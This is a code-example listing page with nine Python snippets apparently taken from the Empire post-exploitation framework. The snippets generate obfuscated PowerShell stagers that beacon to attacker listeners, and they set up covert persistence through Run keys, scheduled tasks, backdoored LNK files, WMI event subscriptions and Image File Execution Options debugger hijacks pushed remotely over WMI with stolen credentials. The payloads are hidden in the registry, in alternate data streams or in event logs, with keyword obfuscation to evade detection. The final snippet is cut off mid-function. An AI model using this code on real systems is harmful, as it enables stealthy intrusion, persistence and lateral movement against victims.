コード例 #1
0
    def generate_stager(
        self, listenerOptions, encode=False, encrypt=True, language=None, token=None
    ):
        """
        Generate the stager code
        """

        if not language:
            print(
                helpers.color(
                    "[!] listeners/onedrive generate_stager(): no language specified"
                )
            )
            return None

        staging_key = listenerOptions["StagingKey"]["Value"]
        base_folder = listenerOptions["BaseFolder"]["Value"]
        staging_folder = listenerOptions["StagingFolder"]["Value"]
        working_hours = listenerOptions["WorkingHours"]["Value"]
        profile = listenerOptions["DefaultProfile"]["Value"]
        agent_delay = listenerOptions["DefaultDelay"]["Value"]

        if language.lower() == "powershell":
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            stager = stager.replace(
                "REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)
            )
            stager = stager.replace("REPLACE_STAGING_KEY", staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            unobfuscated_stager = ""
            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    unobfuscated_stager += line

            if encode:
                return helpers.enc_powershell(unobfuscated_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                staging_key = staging_key.encode("UTF-8")
                return RC4IV + encryption.rc4(
                    RC4IV + staging_key, unobfuscated_stager.encode("UTF-8")
                )
            else:
                return unobfuscated_stager

        else:
            print(helpers.color("[!] Python agent not available for Onedrive"))
コード例 #2
0
ファイル: onedrive.py プロジェクト: moloch--/Empire
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
        """
        Generate the stager code
        """

        if not language:
            print(helpers.color("[!] listeners/onedrive generate_stager(): no language specified"))
            return None

        staging_key = listenerOptions['StagingKey']['Value']
        base_folder = listenerOptions['BaseFolder']['Value']
        staging_folder = listenerOptions['StagingFolder']['Value']
        working_hours = listenerOptions['WorkingHours']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        agent_delay = listenerOptions['DefaultDelay']['Value']

        if language.lower() == 'powershell':
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
            stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            randomized_stager = ''

            for line in stager.split("\n"):
                line = line.strip()

                if not line.startswith("#"):
                    if "\"" not in line:
                        randomized_stager += helpers.randomize_capitalization(line)
                    else:
                        randomized_stager += line

            if encode:
                return helpers.enc_powershell(randomized_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                staging_key = staging_key.encode('UTF-8')
                return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8'))
            else:
                return randomized_stager

        else:
            print(helpers.color("[!] Python agent not available for Onedrive"))
コード例 #3
0
ファイル: registry.py プロジェクト: moloch--/Empire
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        listener_name = params['Listener']

        # trigger options
        key_name = params['KeyName']

        # storage options
        reg_path = params['RegPath']
        ads_path = params['ADSPath']
        event_log_id = params['EventLogID']

        # management options
        ext_file = params['ExtFile']
        cleanup = params['Cleanup']

        # staging options
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        status_msg = ""
        location_string = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if ads_path != '':
                if ".txt" not in ads_path:
                    return handle_error_message(
                        "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                    )

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + ads_path + "\"};"
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(reg_path.split("\\")[0:-1])
                name = reg_path.split("\\")[-1]

                script = "$RegPath = '" + reg_path + "';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + ";"
            script += "'Registry Persistence removed.'"
            script = data_util.keyword_obfuscation(script)

        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
            return script

        if ext_file != '':
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(ext_file):
                f = open(ext_file, 'r')
                file_data = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                enc_script = helpers.enc_powershell(file_data)
                status_msg += "using external file " + ext_file

            else:
                return handle_error_message("[!] File does not exist: " +
                                            ext_file)

        else:
            # if an external file isn't specified, use a listener
            if not main_menu.listeners.is_listener_valid(listener_name):
                # not a valid listener, return nothing for the script
                return handle_error_message("[!] Invalid listener: " +
                                            listener_name)

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = main_menu.stagers.generate_launcher(
                    listener_name,
                    language='powershell',
                    encode=True,
                    obfuscate=obfuscate,
                    obfuscationCommand=obfuscate_command,
                    userAgent=user_agent,
                    proxy=proxy,
                    proxyCreds=proxy_creds,
                    bypasses=params['Bypasses'])

                enc_script = launcher.split(" ")[-1]
                status_msg += "using listener " + listener_name

        if ads_path != '':
            # store the script in the specified alternate data stream location

            if ads_path != '':
                if ".txt" not in ads_path:
                    return handle_error_message(
                        "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                    )

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + enc_script + " > " + ads_path + "\"};"

                location_string = "$(cmd /c \''more < " + ads_path + "\'')"

        elif event_log_id != '':
            # store the script in the event log under the specified ID
            # credit to @subtee
            #   https://gist.github.com/subTee/949fdf0f141546f24978

            # sanity check to make sure we haven't exceeded the 31389 byte max
            if len(enc_script) > 31389:
                return handle_error_message(
                    "[!] Warning: encoded script exceeds 31389 byte max.")

            status_msg += " stored in Application event log under EventID " + event_log_id + "."

            # command to write out the encoded script to the specified eventlog ID
            script = "Write-EventLog -logname Application -source WSH -eventID " + event_log_id + " -entrytype Information -message 'Debug' -category 1 -rawdata \"" + enc_script + "\".ToCharArray();"

            # command to decode the binary data from the event log location
            location_string = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq " + event_log_id + "}))[0].data))"

        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(reg_path.split("\\")[0:-1])
            name = reg_path.split("\\")[-1]

            status_msg += " stored in " + reg_path + "."

            script = "$RegPath = '" + reg_path + "';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + enc_script + ";"

            # note where the script is stored
            location_string = "$((gp " + path + " " + name + ")." + name + ")"

        # set the run key to extract the encoded script from the specified location
        #   and start powershell.exe in the background with the encoded command
        script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + location_string + ";powershell -Win Hidden -enc $x\"';"

        script += "'Registry persistence established " + status_msg + "'"
        script = data_util.keyword_obfuscation(script)
        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
コード例 #4
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        listener_name = params['Listener']

        # trigger options
        daily_time = params['DailyTime']
        idle_time = params['IdleTime']
        task_name = params['TaskName']

        # storage options
        reg_path = params['RegPath']
        ads_path = params['ADSPath']

        # management options
        ext_file = params['ExtFile']
        cleanup = params['Cleanup']

        # staging options
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        status_msg = ""
        location_string = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if ads_path != '':
                # remove the ADS storage location
                if ".txt" not in ads_path:
                    return handle_error_message(
                        "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                    )

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + ads_path + "\"};"
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(reg_path.split("\\")[0:-1])
                name = reg_path.split("\\")[-1]

                script = "$RegPath = '" + reg_path + "';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "schtasks /Delete /F /TN " + task_name + ";"
            script += "'Schtasks persistence removed.'"
            script = data_util.keyword_obfuscation(script)
        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
            return script

        if ext_file != '':
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(ext_file):
                f = open(ext_file, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                enc_script = helpers.enc_powershell(fileData)
                status_msg += "using external file " + ext_file

            else:
                return handle_error_message("[!] File does not exist: " +
                                            ext_file)

        else:
            # if an external file isn't specified, use a listener
            if not main_menu.listeners.is_listener_valid(listener_name):
                # not a valid listener, return nothing for the script
                return handle_error_message("[!] Invalid listener: " +
                                            listener_name)

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = main_menu.stagers.generate_launcher(
                    listener_name,
                    language='powershell',
                    encode=True,
                    obfuscate=obfuscate,
                    obfuscationCommand=obfuscate_command,
                    userAgent=user_agent,
                    proxy=proxy,
                    proxyCreds=proxy_creds,
                    bypasses=params['Bypasses'])

                enc_script = launcher.split(" ")[-1]
                status_msg += "using listener " + listener_name

        if ads_path != '':
            # store the script in the specified alternate data stream location
            if ".txt" not in ads_path:
                return handle_error_message(
                    "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                )

            script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + enc_script + " > " + ads_path + "\"};"

            location_string = "$(cmd /c \''\''more < " + ads_path + "\''\''\'')"

        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(reg_path.split("\\")[0:-1])
            name = reg_path.split("\\")[-1]

            status_msg += " stored in " + reg_path

            script = "$RegPath = '" + reg_path + "';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + enc_script + ";"

            # note where the script is stored
            location_string = "(gp " + path + " " + name + ")." + name

        # built the command that will be triggered by the schtask
        trigger_cmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String(" + location_string + ")))\\\"'"

        # sanity check to make sure we haven't exceeded the cmd.exe command length max
        if len(trigger_cmd) > 259:
            return handle_error_message(
                "[!] Warning: trigger command exceeds the maximum of 259 characters."
            )

        if idle_time != '':
            script += "schtasks /Create /F /SC ONIDLE /I " + idle_time + " /TN " + task_name + " /TR " + trigger_cmd + ";"
            status_msg += " with " + task_name + " idle trigger on " + idle_time + "."

        else:
            # otherwise assume we're doing a daily trigger
            script += "schtasks /Create /F /SC DAILY /ST " + daily_time + " /TN " + task_name + " /TR " + trigger_cmd + ";"
            status_msg += " with " + task_name + " daily trigger at " + daily_time + "."

        script += "'Schtasks persistence established " + status_msg + "'"

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
コード例 #5
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        obfuscate=False,
                        obfuscationCommand="",
                        language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print(
                helpers.color(
                    '[!] listeners/http_com generate_stager(): no language specified!'
                ))
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            headers = ""
            if customHeaders != []:
                crlf = False
                for header in customHeaders:
                    headerKey = header.split(':')[0]
                    headerValue = header.split(':')[1]

                    # Host header TLS SNI logic done within http_com.ps1
                    if crlf:
                        headers += "`r`n"
                    else:
                        crlf = True
                    headers += "%s: %s" % (headerKey, headerValue)
                stager = stager.replace(
                    "$customHeaders = \"\";",
                    "$customHeaders = \"" + headers + "\";")

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''
            stagingKey = stagingKey.encode('UTF-8')

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(
                    self.mainMenu.installPath,
                    randomizedStager,
                    obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager.encode('UTF-8'))
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        else:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
                ))
コード例 #6
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        listener_name = params['Listener']

        # management options
        lnk_path = params['LNKPath']
        ext_file = params['ExtFile']
        cleanup = params['Cleanup']

        # storage options
        reg_path = params['RegPath']

        # staging options
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        status_msg = ""

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " +
                                        listener_name)

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(
                listener_name,
                language='powershell',
                encode=False,
                obfuscate=obfuscate,
                obfuscationCommand=obfuscate_command,
                userAgent=user_agent,
                proxy=proxy,
                proxyCreds=proxy_creds,
                bypasses=params['Bypasses'])
            launcher = launcher.replace("$", "`$")

        # read in the common powerup.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/persistence/Invoke-BackdoorLNK.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = "Invoke-BackdoorLNK "

        if cleanup.lower() == "true":
            script_end += " -CleanUp"
            script_end += " -LNKPath '%s'" % (lnk_path)
            script_end += " -RegPath '%s'" % (reg_path)
            script_end += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" % (
                lnk_path, reg_path)

        else:
            if ext_file != '':
                # read in an external file as the payload and build a
                #   base64 encoded version as encScript
                if os.path.exists(ext_file):
                    f = open(ext_file, 'r')
                    fileData = f.read()
                    f.close()

                    # unicode-base64 encode the script for -enc launching
                    encScript = helpers.enc_powershell(fileData)
                    status_msg += "using external file " + ext_file

                else:
                    return handle_error_message("[!] File does not exist: " +
                                                ext_file)

            else:
                # if an external file isn't specified, use a listener
                if not main_menu.listeners.is_listener_valid(listener_name):
                    # not a valid listener, return nothing for the script
                    return handle_error_message("[!] Invalid listener: " +
                                                listener_name)

                else:
                    # generate the PowerShell one-liner with all of the proper options set
                    launcher = main_menu.stagers.generate_launcher(
                        listener_name,
                        language='powershell',
                        encode=True,
                        obfuscate=obfuscate,
                        obfuscationCommand=obfuscate_command,
                        userAgent=user_agent,
                        proxy=proxy,
                        proxyCreds=proxy_creds,
                        bypasses=params['Bypasses'])

                    encScript = launcher.split(" ")[-1]
                    status_msg += "using listener " + listener_name

            script_end += " -LNKPath '%s'" % (lnk_path)
            script_end += " -EncScript '%s'" % (encScript)
            script_end += "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" % (
                lnk_path, listener_name)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
コード例 #7
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):

        script = """$null = Invoke-WmiMethod -Path Win32_process -Name create"""
        # Set booleans to false by default
        obfuscate = False

        # management options
        cleanup = params['Cleanup']
        binary = params['Binary']
        target_binary = params['TargetBinary']
        listener_name = params['Listener']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        # storage options
        reg_path = params['RegPath']

        status_msg = ""
        location_string = ""

        # if a credential ID is specified, try to parse
        cred_id = params["CredID"]
        if cred_id != "":

            if not main_menu.credentials.is_credential_valid(cred_id):
                return handle_error_message("[!] CredID is invalid!")

            cred: Credential = main_menu.credentials.get_credentials(cred_id)

            if cred.domain != "":
                params["UserName"] = str(cred.domain) + "\\" + str(
                    cred.username)
            else:
                params["UserName"] = str(cred.username)
            if cred.password != "":
                params["Password"] = cred.password

        if cleanup.lower() == 'true':
            # the registry command to disable the debugger for the target binary
            payload_code = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';"
            status_msg += " to remove the debugger for " + target_binary

        elif listener_name != '':
            # if there's a listener specified, generate a stager and store it
            if not main_menu.listeners.is_listener_valid(listener_name):
                # not a valid listener, return nothing for the script
                return handle_error_message("[!] Invalid listener: " +
                                            listener_name)

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = main_menu.stagers.generate_launcher(
                    listener_name,
                    language='powershell',
                    encode=True,
                    obfuscate=obfuscate,
                    obfuscationCommand=obfuscate_command,
                    bypasses=params['Bypasses'])

                encScript = launcher.split(" ")[-1]
                # statusMsg += "using listener " + listenerName

            path = "\\".join(reg_path.split("\\")[0:-1])
            name = reg_path.split("\\")[-1]

            # statusMsg += " stored in " + regPath + "."

            payload_code = "$RegPath = '" + reg_path + "';"
            payload_code += "$parts = $RegPath.split('\\');"
            payload_code += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            payload_code += "$name = $parts[-1];"
            payload_code += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";"

            # note where the script is stored
            location_string = "$((gp " + path + " " + name + ")." + name + ")"

            payload_code += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + location_string + ";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';"

            status_msg += " to set the debugger for " + target_binary + " to be a stager for listener " + listener_name + "."

        else:
            payload_code = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "' -Name Debugger -Value '" + binary + "';"

            status_msg += " to set the debugger for " + target_binary + " to be " + binary + "."

        # unicode-base64 the payload code to execute on the targets with -enc
        encPayload = helpers.enc_powershell(payload_code)

        # build the WMI execution string
        computer_names = "\"" + "\",\"".join(
            params['ComputerName'].split(",")) + "\""

        script += " -ComputerName @(" + computer_names + ")"
        script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload.decode(
            'UTF-8') + "\""

        # if we're supplying alternate user credentials
        if params["UserName"] != '':
            script = "$PSPassword = \"" + params[
                "Password"] + "\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\"" + params[
                    "UserName"] + "\",$PSPassword);" + script + " -Credential $Credential"

        script += ";'Invoke-Wmi executed on " + computer_names + status_msg + "'"

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
コード例 #8
0
ファイル: wmi_updater.py プロジェクト: moloch--/Empire
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):

        # Set booleans to false by default
        obfuscate = False

        launcher_prefix = params['Launcher']
        
        # trigger options
        daily_time = params['DailyTime']
        at_startup = params['AtStartup']
        sub_name = params['SubName']

        # management options
        ext_file = params['ExtFile']
        cleanup = params['Cleanup']
        web_file = params['WebFile']
        s_bypasses = params['Bypasses']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        status_msg = ""
        location_string = ""

        if cleanup.lower() == 'true':
            # commands to remove the WMI filter and subscription
            script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+sub_name+"'\"| Remove-WmiObject;"
            script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+sub_name+"'\" | Remove-WmiObject;"
            script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+sub_name+"'} | Remove-WmiObject;"
            script += "'WMI persistence removed.'"
            
            return script

        if ext_file != '':
            # read in an external file as the payload and build a 
            #   base64 encoded version as encScript
            if os.path.exists(ext_file):
                f = open(ext_file, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                enc_script = helpers.enc_powershell(fileData)
                status_msg += "using external file " + ext_file

            else:
                return handle_error_message("[!] File does not exist: " + ext_file)

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=web_file, launcher=launcher_prefix)
            
            enc_script = launcher.split(" ")[-1]
            status_msg += "using launcher_fetcher"

        # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
        if len(enc_script) > 8190:
            return handle_error_message("[!] Warning: -enc command exceeds the maximum of 8190 characters.")

        # built the command that will be triggered
        trigger_cmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + enc_script
        
        if daily_time != '':
            
            parts = daily_time.split(":")
            
            if len(parts) < 2:
                return handle_error_message("[!] Please use HH:mm format for DailyTime")

            hour = parts[0]
            minutes = parts[1]

            # create the WMI event filter for a system time
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+sub_name+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
            status_msg += " WMI subscription daily trigger at " + daily_time + "."

        else:
            # create the WMI event filter for OnStartup
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+sub_name+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
            status_msg += " with OnStartup WMI subsubscription trigger."


        # add in the event consumer to launch the encrypted script contents
        script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+sub_name+"';CommandLineTemplate=\""+trigger_cmd+"\";RunInteractively='false'};"

        # bind the filter and event consumer together
        script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"


        script += "'WMI persistence established "+status_msg+"'"
        script = data_util.keyword_obfuscation(script)
        return script
コード例 #9
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        listener_name = params['Listener']
        
        # trigger options
        key_name = params['KeyName']
        
        # storage options
        reg_path = params['RegPath']
        ads_path = params['ADSPath']
        
        # management options
        ext_file = params['ExtFile']
        cleanup = params['Cleanup']
        
        # staging options
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        status_msg = ""
        location_string = ""
        
        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if ads_path != '':
                # remove the ADS storage location
                if ".txt" not in ads_path:
                    return handle_error_message("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + ads_path + "\"};"
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(reg_path.split("\\")[0:-1])
                name = reg_path.split("\\")[-1]
                script = "$RegPath = '" + reg_path + "';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"
            
            script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + ";"
            script += "'Registry persistence removed.'"
            
            return script
        
        if ext_file != '':
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(ext_file):
                f = open(ext_file, 'r')
                fileData = f.read()
                f.close()
                
                # unicode-base64 encode the script for -enc launching
                enc_script = helpers.enc_powershell(fileData)
                status_msg += "using external file " + ext_file
            
            else:
                return handle_error_message("[!] File does not exist: " + ext_file)

        else:
            # if an external file isn't specified, use a listener
            if not main_menu.listeners.is_listener_valid(listener_name):
                # not a valid listener, return nothing for the script
                return handle_error_message("[!] Invalid listener: " + listener_name)

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = main_menu.stagers.generate_launcher(listener_name, language='powershell', encode=True,
                                                               obfuscate=obfuscate, obfuscationCommand=obfuscate_command,
                                                               userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds,
                                                               bypasses=params['Bypasses'])
                
                enc_script = launcher.split(" ")[-1]
                status_msg += "using listener " + listener_name
        
        # store the script in the specified alternate data stream location
        if ads_path != '':
            if ".txt" not in ads_path:
                return handle_error_message("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")

            script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + enc_script + " > " + ads_path + "\"};"
            
